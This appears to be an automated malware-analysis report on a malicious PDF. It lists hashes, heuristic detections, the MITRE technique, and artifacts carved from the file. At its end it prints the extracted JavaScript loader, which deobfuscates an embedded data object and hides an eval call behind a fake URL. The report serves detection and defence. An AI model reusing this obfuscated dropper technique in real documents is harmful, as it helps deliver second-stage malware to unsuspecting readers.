PDF malware analysis — malicious · ab8d03cc1aaa257d

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08

MD5: 50ac2d656bd3ef4c1250d131c301386c SHA-1: e7cdd5f82d35f64a15b1ec1f4cf82054031a70f4 SHA-256: ab8d03cc1aaa257dcfdfe82f2822a81429dff24cd1c05e07a75da73b4202af37

76 Risk Score

Malware Insights

MITRE ATT&CK

T1553.005 Subversion: Mark-of-the-Web Bypass

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate suspicious JavaScript actions and embedded files, supporting this attack pattern. The embedded file 'embedded_file_obj0013.bin' is a primary indicator of a potential payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x425	108545 bytes
SHA-256: `cf3683c9544f569dc721cd9a1ab1170d953c0ba2e743093062eab9f77b1f53d6`
Detection ClamAV: No threats found Obfuscation or payload: likely 256 of 256 identifiers look randomly generated (e.g. 'QcF8x9umrhrF97vC1QcF8x9umrhrF97vC2QcF8x9') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1ED	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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